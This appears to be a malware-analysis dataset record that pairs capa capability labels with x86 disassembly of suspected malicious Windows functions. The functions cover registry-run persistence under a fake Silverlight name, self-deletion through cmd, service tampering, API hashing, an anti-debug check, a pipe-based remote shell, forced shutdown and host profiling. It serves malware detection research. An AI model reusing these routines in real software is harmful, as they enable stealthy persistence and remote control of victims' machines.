joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100040d0
Capabilities:
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x118
push ebp
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x14]
push str.RunOnce
push str.SoftwareMicrosoftWindowsCurrentVersion
push str._s_s
push eax
call ebp
add esp, 0x10
mov dword [esp + 4], 0
lea eax, [esp + 4]
push 0
push eax
push 0
push 0xf023f
push 0
push 0
push 0
lea eax, [esp + 0x30]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10004256
cmp dword [esp + 0x120], eax
je 0x10004155
push dword [0x1000e474]
push dword [esp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [esp + 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebp
add esp, 0x118
ret
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push edi
push 0x105
push 8
xor edi, edi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x10004249
push str.Silverlight.Configuration.exe
push dword [0x1000e450]
push str.__s_s_
push esi
call ebp
add esp, 0x10
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x14]
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], 1
push eax
push edi
lea eax, [esp + 0x20]
push eax
push edi
push str.Silverlight.Configuration.exe
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ebp, dword [sym.imp.KERNEL32.dll_HeapFree]
test eax, eax
jne 0x10004227
mov eax, dword [esp + 0x14]
inc eax
push eax
push 8
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebp, eax
test ebp, ebp
je 0x10004221
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x20]
push eax
push edi
push str.Silverlight.Configuration.exe
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000420d
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
mov ecx, 1
cmove edi, ecx
push ebp
push 0
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call ebp
test edi, edi
jne 0x10004241
jmp 0x10004227
mov ebp, dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x1c]
inc eax
push eax
push esi
push 1
push 0
push str.Silverlight.Configuration.exe
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push esi
push 0
call ebx
push eax
call ebp
pop edi
pop esi
pop ebx
push dword [esp + 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebp
add esp, 0x118
ret
Function at 0x10004930
Capabilities:
Resume thread

Disassembly:
push ebx
mov ebx, dword [esp + 8]
cmp dword [ebx], 0
je 0x1000497c
push esi
xor esi, esi
cmp dword [ebx + 8], esi
jbe 0x1000496c
push edi
mov eax, dword [ebx]
push dword [eax + esi*4]
push 0
push 0x5a
call fcn.100042b0
mov edi, eax
test edi, edi
je 0x10004965
push 0
push edi
call sub.NTDLL.dll_NtResumeThread
push edi
call sub.NTDLL.dll_NtClose
inc esi
cmp esi, dword [ebx + 8]
jb 0x10004943
pop edi
push dword [ebx]
push 0
push dword [0x1000e140]
call fcn.10008ee0
pop esi
pop ebx
ret

Function at 0x10005070
Capabilities:
Send data

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x14]
xor esi, esi
mov eax, dword [edi]
test eax, eax
je 0x100050c6
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x14]
nop dword [eax + eax]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x1c], 0
push ecx
sub eax, esi
push eax
lea eax, [esi + ebx]
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetWriteFile]
test eax, eax
je 0x100050bf
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x100050bf
add esi, eax
mov eax, dword [edi]
cmp esi, eax
jb 0x10005090
pop ebp
pop ebx
pop edi
mov eax, esi
pop esi
ret
pop edi
mov eax, esi
pop esi
ret
Function at 0x100065e0
Capabilities:
Delete registry value
Set registry value

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
test edi, edi
jne 0x10006627
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push str.HostN
push dword [0x1000e0cc]
call esi
push str.PathN
push dword [0x1000e0cc]
call esi
push str.SSLN
push dword [0x1000e0cc]
call esi
push str.Next
push dword [0x1000e0cc]
call esi
pop edi
pop esi
ret
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
call esi
inc eax
push eax
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 1
push 0
push str.HostN
push dword [0x1000e0cc]
call edi
push dword [esp + 0x10]
call esi
inc eax
push eax
push dword [esp + 0x14]
push 1
push 0
push str.PathN
push dword [0x1000e0cc]
call edi
push 4
lea eax, [esp + 0x18]
push eax
push 4
push 0
push str.SSLN
push dword [0x1000e0cc]
call edi
mov al, byte [esp + 0x18]
test al, al
je 0x10006697
cmp al, 0xfe
jbe 0x10006692
mov eax, 0xfe
jmp 0x1000669c
movzx eax, al
jmp 0x1000669c
mov eax, 0xc
push 4
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
push eax
push 4
push 0
push str.Next
push dword [0x1000e0cc]
call edi
pop edi
pop esi
ret

Function at 0x10006730
Capabilities:
Create process on windows
Delete registry key

Disassembly:
sub esp, 0x24c
push str.SOFTWAREUsorisBackup
push 0x80000001
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
cmp dword [0x1000e440], 0
jne 0x10006759
cmp dword [esp + 0x250], 0
je 0x1000675e
call fcn.10008c80
push esi
push 0x400
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x100067f3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 4], eax
lea eax, [esp + 4]
push eax
call dword [sym.imp.NTDLL.dll_RtlRandom]
mov ecx, dword [0x1000e450]
push ecx
push 0xa
push eax
push ecx
push str._c_ren___s.__.._lu.bak__ping_1.1.1.1__n__u__rmdir___s___q__s
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [esp + 8]
push 0x3c
push eax
call sub.NTDLL.dll_RtlZeroMemory
lea eax, [esp + 8]
mov dword [esp + 8], 0x3c
push eax
mov dword [esp + 0x28], 0
mov dword [esp + 0x1c], str.cmd.exe
mov dword [esp + 0x20], esi
mov dword [esp + 0x10], 0x808400
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0x4b
push str.GlobalRMSServer
lea eax, [esp + 0x4c]
push str._s_c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [esp + 0x44]
push eax
push 0
push 2
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov esi, eax
test esi, esi
je 0x10006830
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
add esp, 0x24c
ret
Function at 0x10007100
Capabilities:
Modify service
Query service configuration
Query service status
Start service

Disassembly:
sub esp, 0x20
push esi
mov esi, dword [esp + 0x28]
test esi, esi
je 0x100071c2
lea eax, [esp + 0x28]
mov dword [esp + 0x28], 0
push eax
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
test eax, eax
je 0x10007192
mov eax, dword [esp + 0x28]
push edi
push eax
push 8
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x10007191
lea eax, [esp + 0x2c]
push eax
push dword [esp + 0xc]
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
test eax, eax
je 0x10007181
cmp dword [edi + 4], 2
je 0x10007181
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0xc], 4
jne 0x100071a9
test eax, eax
jne 0x100071b8
push dword [esp + 0x2c]
push dword [esp + 0x34]
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov eax, 1
pop esi
add esp, 0x20
ret
xor eax, eax
pop esi
add esp, 0x20
ret

Function at 0x100071d0
Capabilities:
Create process on windows
Set environment variable

Disassembly:
sub esp, 0x15c
lea eax, [esp + 0x54]
push esi
push 0x105
push eax
call sub.NTDLL.dll_RtlZeroMemory
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x58]
push str.wuapihost.exe
push dword [0x1000e450]
push str.__s_s_
push eax
call esi
mov ecx, dword [esp + 0x174]
add esp, 0x10
test ecx, ecx
jle 0x10007223
push ecx
lea ecx, [esp + 0x5c]
add eax, ecx
push str._w__d
push eax
call esi
add esp, 0xc
push 0x44
lea eax, [esp + 0x18]
push eax
call sub.NTDLL.dll_RtlZeroMemory
push 0x10
lea eax, [esp + 8]
push eax
call sub.NTDLL.dll_RtlZeroMemory
cmp dword [0x1000e47c], 0
mov esi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov dword [esp + 0x14], 0x44
mov dword [esp + 0x1c], str.WinSta0Default
jne 0x10007266
push str.RunAsInvoker
push str.__compat_layer
call esi
push edi
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [esp + 0x7c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp dword [0x1000e47c], 0
mov edi, eax
jne 0x100072a1
push 0
push str.__compat_layer
call esi
test edi, edi
pop edi
je 0x100072c5
push dword [esp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 4]
call esi
mov eax, 1
pop esi
add esp, 0x15c
ret
xor eax, eax
pop esi
add esp, 0x15c
ret
Function at 0x10007df0
Capabilities:
Hash data with crc32
Parse pe header

Disassembly:
sub esp, 0x2c
push ebx
push ebp
mov ebp, dword [esp + 0x38]
mov ebx, 1
mov dword [esp + 8], ebx
test ebp, ebp
je 0x10007fb7
mov eax, 0x5a4d
cmp word [ebp], ax
jne 0x10007fb7
mov eax, dword [ebp + 0x3c]
add eax, ebp
mov dword [esp + 0x1c], eax
cmp dword [eax], 0x4550
jne 0x10007fb7
mov eax, dword [eax + 0x78]
add eax, ebp
mov dword [esp + 0x10], eax
mov ecx, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
add ecx, ebp
mov dword [esp + 0x18], ecx
add edx, ebp
mov ecx, dword [eax + 0x24]
add ecx, ebp
mov dword [esp + 0x20], edx
mov dword [esp + 0x14], ecx
xor ecx, ecx
mov dword [esp + 0xc], ecx
cmp dword [eax + 0x18], ecx
jbe 0x10007fb7
push esi
push edi
mov edi, dword [esp + 0x48]
mov esi, dword [edx + ecx*4]
add esi, ebp
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 0
call sub.NTDLL.dll_RtlComputeCrc32
mov ecx, eax
xor esi, esi
xor ecx, dword [esp + 0x4c]
test edi, edi
jle 0x10007f9b
mov eax, dword [esp + 0x44]
cmp ecx, dword [eax]
je 0x10007ea1
inc esi
add eax, 0x10
cmp esi, edi
jl 0x10007e90
jmp 0x10007f9b
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
movzx eax, word [ecx + eax*2]
mov ecx, dword [esp + 0x20]
mov edi, dword [ecx + eax*4]
add edi, ebp
je 0x10007f71
mov ecx, dword [esp + 0x18]
cmp edi, ecx
jb 0x10007f71
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0x7c]
add eax, ecx
cmp edi, eax
jae 0x10007f71
push edi
call dword [sym.imp.SHLWAPI.dll_StrDupA]
mov ebx, eax
test ebx, ebx
je 0x10007f93
push 0x2e
push ebx
call dword [sym.imp.SHLWAPI.dll_StrChrA]
mov edi, eax
test edi, edi
je 0x10007f8c
mov byte [edi], 0
inc edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebp, eax
test ebp, ebp
jne 0x10007f1b
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
test ebp, ebp
je 0x10007f88
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push 0
call sub.NTDLL.dll_RtlComputeCrc32
mov ecx, dword [esp + 0x4c]
xor eax, ecx
push ecx
mov dword [esp + 0x30], eax
lea eax, [esp + 0x30]
push 0x10
push eax
push ebp
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
call fcn.10007df0
mov edi, dword [esp + 0x48]
add esp, 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ebx, dword [esp + 0x10]
mov ebp, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
add esi, esi
mov dword [eax + esi*8 + 0xc], edi
xor eax, eax
test edi, edi
cmove ebx, eax
mov dword [esp + 0x10], ebx
jmp 0x10007f97
mov ebp, dword [esp + 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ebx, dword [esp + 0x10]
mov edi, dword [esp + 0x48]
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
inc ecx
mov edx, dword [esp + 0x28]
mov dword [esp + 0x14], ecx
cmp ecx, dword [eax + 0x18]
jb 0x10007e67
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x2c
ret
Function at 0x10008c80
Capabilities:
Delete registry key
Delete registry value

Disassembly:
sub esp, 0x10c
push 1
push str.USBSafeManager
call fcn.100038e0
add esp, 8
test eax, eax
je 0x10008d75
cmp dword [0x1000e47c], 0
push edi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
je 0x10008d16
push 0x1000a388
push 0
push str.svchost
push str.SoftwareMicrosoftWindows_NTCurrentVersion
lea eax, [esp + 0x18]
push str._s_s_c_s
push eax
call edi
add esp, 0x18
mov dword [esp + 4], 0
lea eax, [esp + 4]
push 0
push eax
push 0
push 0xf023f
push 0
push 0
push 0
lea eax, [esp + 0x24]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10008d16
push str.USBSafeManager
push dword [esp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [esp + 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.USBSafeManagerGrp
push 0x5c
push str.svchost
push str.SoftwareMicrosoftWindows_NTCurrentVersion
lea eax, [esp + 0x18]
push str._s_s_c_s
push eax
call edi
add esp, 0x18
lea eax, [esp + 8]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0x1000a388
push str.USBSafeManager
push str.Services_
lea eax, [esp + 0x14]
push str.SYSTEMCurrentControlSet_s_s_s
push eax
call edi
add esp, 0x14
lea eax, [esp + 8]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
pop edi
add esp, 0x10c
ret

Function at 0x10008d80
Capabilities:
Check for software breakpoints

Disassembly:
mov edx, dword [esp + 4]
push esi
mov cl, byte [edx]
test cl, cl
je 0x10008d95
cmp cl, 0x90
je 0x10008d95
cmp cl, 0xcc
jne 0x10008db3
mov esi, dword [esp + 0xc]
mov eax, 1
cmp esi, eax
jbe 0x10008dac
cmp byte [eax + edx], cl
jne 0x10008db3
inc eax
cmp eax, esi
jb 0x10008da2
mov eax, 1
pop esi
ret
xor eax, eax
pop esi
ret
Function at 0x10008fb0
Capabilities:
Create process on windows
Get session information

Disassembly:
sub esp, 0x78
push ebx
push ebp
push esi
xor esi, esi
xor ebx, ebx
push edi
mov edi, dword [esp + 0x90]
lea ebp, [esi + 1]
cmp edi, 0xffffffff
jne 0x10009032
lea eax, [esp + 0x24]
mov dword [esp + 0x20], 0
push eax
lea eax, [esp + 0x24]
mov dword [esp + 0x28], 0
push eax
push 1
push 0
push 0
call sub.WTSAPI32.dll_WTSEnumerateSessionsA
test eax, eax
je 0x1000906e
mov edx, dword [esp + 0x24]
xor ecx, ecx
mov ebp, dword [esp + 0x20]
mov eax, ebp
test edx, edx
jle 0x10009025
cmp dword [eax + 8], 0
je 0x1000901e
inc ecx
add eax, 0xc
cmp ecx, edx
jl 0x10009003
push ebp
call sub.WTSAPI32.dll_WTSFreeMemory
mov ebp, 1
jmp 0x1000906a
mov edi, dword [eax]
mov esi, 1
push ebp
call sub.WTSAPI32.dll_WTSFreeMemory
mov ebp, 1
jmp 0x1000906a
lea eax, [esp + 0x2c]
mov dword [esp + 0x28], 0
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x30], 0
push eax
push 8
push edi
push 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x1000906e
mov eax, dword [esp + 0x28]
push eax
cmp dword [eax], 0
cmove esi, ebp
call sub.WTSAPI32.dll_WTSFreeMemory
test esi, esi
jne 0x1000908b
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x78
jl 0x10008fc5
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x78
ret
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0
push eax
push edi
call sub.WTSAPI32.dll_WTSQueryUserToken
test eax, eax
je 0x100091d1
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0
push eax
push 1
push 1
push 0
push 0x2000000
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x100091d1
push 4
lea eax, [esp + 0x18]
mov dword [esp + 0x34], 0
push eax
call sub.NTDLL.dll_RtlZeroMemory
lea eax, [esp + 0x30]
push eax
push 4
lea eax, [esp + 0x1c]
push eax
push 0x13
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x10009110
mov edi, dword [esp + 0x10]
mov dword [esp + 0x14], edi
jmp 0x1000911a
push dword [esp + 0x10]
call ebx
mov edi, dword [esp + 0x14]
push dword [esp + 0x18]
call ebx
test edi, edi
je 0x100091d1
push 0
push edi
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0
push eax
mov ebp, 0x20
call sub.USERENV.dll_CreateEnvironmentBlock
test eax, eax
mov ecx, 0x420
push 0x44
lea eax, [esp + 0x48]
cmovne ebp, ecx
push eax
call sub.NTDLL.dll_RtlZeroMemory
push 0x10
lea eax, [esp + 0x38]
mov dword [esp + 0x48], 0x44
push eax
mov dword [esp + 0x54], str.Winsta0Default
call sub.NTDLL.dll_RtlZeroMemory
xor esi, esi
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x48]
push eax
push 0
push dword [esp + 0x28]
push ebp
push 0
push 0
push 0
push dword [esp + 0xac]
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
jne 0x100091b4
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x78
jl 0x10009176
jmp 0x100091c0
push dword [esp + 0x38]
call ebx
push dword [esp + 0x34]
call ebx
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x100091ce
push eax
call sub.USERENV.dll_DestroyEnvironmentBlock
push edi
call ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x78
ret
Function at 0x402760
Capabilities:
Create pipe
Create two anonymous pipes

Disassembly:
push 0xffffffffffffffff
push 0x42f3de
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
call fcn.0042ebfd
push fcn.00422dd3
push 0x4051c0
push 0x1e
lea eax, [esi + 0x14]
xor ebx, ebx
push 4
push eax
mov dword [esp + 0x30], ebx
call fcn.00412f33
mov edx, 1
mov ecx, 0x12c
xor eax, eax
mov edi, 0x43e2a0
mov ebp, dword [sym.imp.KERNEL32.DLL_CreatePipe]
mov dword [esi], method.CSocket.virtual_0
mov dword [esi + 0x94], ebx
mov dword [esi + 0x90], ebx
mov dword [esi + 0x8c], edx
mov dword [0x43e750], ebx
rep stosd dword es:[edi], eax
lea edi, [esi + 0x9c]
mov byte [esp + 0x1c], dl
mov dword [esi + 0xa4], edx
push ebx
lea ecx, [esi + 0xac]
push edi
lea edx, [esi + 0xa8]
push ecx
push edx
mov dword [edi], 0xc
mov dword [esi + 0xa0], ebx
call ebp
push ebx
lea eax, [esi + 0xb4]
push edi
lea ecx, [esi + 0xb0]
push eax
push ecx
call ebp
push 0x80
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_SetPriorityClass]
push ebx
push ebx
push ebx
push ebx
push esi
push 0x402b00
call fcn.0042346a
mov ecx, dword [esp + 0x14]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x402778
Capabilities:
Create pipe
Create two anonymous pipes

Disassembly:
push 0xffffffffffffffff
push 0x42f3de
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
call fcn.0042ebfd
push fcn.00422dd3
push 0x4051c0
push 0x1e
lea eax, [esi + 0x14]
xor ebx, ebx
push 4
push eax
mov dword [esp + 0x30], ebx
call fcn.00412f33
mov edx, 1
mov ecx, 0x12c
xor eax, eax
mov edi, 0x43e2a0
mov ebp, dword [sym.imp.KERNEL32.DLL_CreatePipe]
mov dword [esi], method.CSocket.virtual_0
mov dword [esi + 0x94], ebx
mov dword [esi + 0x90], ebx
mov dword [esi + 0x8c], edx
mov dword [0x43e750], ebx
rep stosd dword es:[edi], eax
lea edi, [esi + 0x9c]
mov byte [esp + 0x1c], dl
mov dword [esi + 0xa4], edx
push ebx
lea ecx, [esi + 0xac]
push edi
lea edx, [esi + 0xa8]
push ecx
push edx
mov dword [edi], 0xc
mov dword [esi + 0xa0], ebx
call ebp
push ebx
lea eax, [esi + 0xb4]
push edi
lea ecx, [esi + 0xb0]
push eax
push ecx
call ebp
push 0x80
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_SetPriorityClass]
push ebx
push ebx
push ebx
push ebx
push esi
push 0x402b00
call fcn.0042346a
mov ecx, dword [esp + 0x14]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x402bf6
Capabilities:
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x42f438
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
mov eax, dword [esi + 0x94]
mov dword [esp + 0x10], 0
cmp eax, 1
jne 0x402c79
mov eax, dword [esp + 0x18]
push str.EXIT
push eax
call fcn.00412fb5
add esp, 8
test eax, eax
jne 0x402c41
push str.exit
lea ecx, [esp + 0x1c]
call fcn.00422f18
mov ecx, esi
call fcn.004068e0
mov dword [esi + 0x94], 0
push 0x43b208
lea ecx, [esp + 0x1c]
call fcn.0042316b
mov ecx, dword [esp + 0x18]
lea edx, [esp + 4]
push 0
push edx
mov eax, dword [ecx - 8]
lea ecx, [esp + 0x20]
push eax
push 0
call fcn.004231bf
push eax
mov eax, dword [esi + 0xb4]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
jmp 0x402cae
push ecx
lea edx, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 8], esp
push edx
mov dword [esi + 0x8c], 1
call fcn.00422b48
mov ecx, esi
call fcn.00405550
push 0
push 0
push 0
push 0
push esi
push 0x403ae0
call fcn.0042346a
lea ecx, [esp + 0x18]
mov dword [esp + 0x10], 0xffffffff
call fcn.00422dd3
mov ecx, dword [esp + 8]
mov eax, 1
mov dword fs:[0], ecx
pop esi
add esp, 0x10
ret 4
Function at 0x404910
Capabilities:
Shutdown system

Disassembly:
sub esp, 0x14
call dword [sym.imp.KERNEL32.DLL_GetVersion]
cmp eax, 0x80000000
jae 0x40496e
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [esp + 8]
push ecx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [esp]
push 0
push 0
lea edx, [esp + 0xc]
push 0
push edx
push 0
push eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0
push 5
call dword [sym.imp.USER32.dll_ExitWindowsEx]
mov eax, 1
add esp, 0x14
ret

Function at 0x404990
Capabilities:
Shutdown system

Disassembly:
sub esp, 0x14
call dword [sym.imp.KERNEL32.DLL_GetVersion]
cmp eax, 0x80000000
jae 0x4049ee
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [esp + 8]
push ecx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [esp]
push 0
push 0
lea edx, [esp + 0xc]
push 0
push edx
push 0
push eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
mov eax, 1
add esp, 0x14
ret

Function at 0x404a10
Capabilities:
Get common file path
Get hostname

Disassembly:
sub esp, 0x20c
push esi
mov esi, ecx
lea eax, [esp + 4]
push edi
lea ecx, [esp + 0xc]
push eax
push ecx
mov dword [esp + 0x10], 0x104
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
lea edx, [esp + 0x110]
push 0x104
push edx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [esp + 0xc]
push eax
push 0x43b72c
push esi
call fcn.00402b80
lea ecx, [esp + 0x11c]
push ecx
push 0x43b71c
push esi
call fcn.00402b80
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
add esp, 0x18
push 1
call edi
push eax
push 0
call edi
push eax
push 0x43b704
push esi
call fcn.00402b80
add esp, 0x10
mov ecx, esi
call fcn.00404350
call fcn.00408570
call fcn.00413410
push eax
push str.CPU_
push esi
call fcn.00402b80
add esp, 0xc
mov eax, 1
pop edi
pop esi
add esp, 0x20c
ret

Function at 0x404ac0
Capabilities:
Set current directory

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x42f598
push eax
mov dword fs:[0], esp
push esi
mov esi, ecx
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], 0
push eax
call dword [sym.imp.KERNEL32.DLL_SetCurrentDirectoryA]
mov ecx, esi
call fcn.004068e0
lea ecx, [esp + 0x14]
mov dword [esp + 0xc], 0xffffffff
call fcn.00422dd3
mov ecx, dword [esp + 4]
mov eax, 1
mov dword fs:[0], ecx
pop esi
add esp, 0xc
ret 4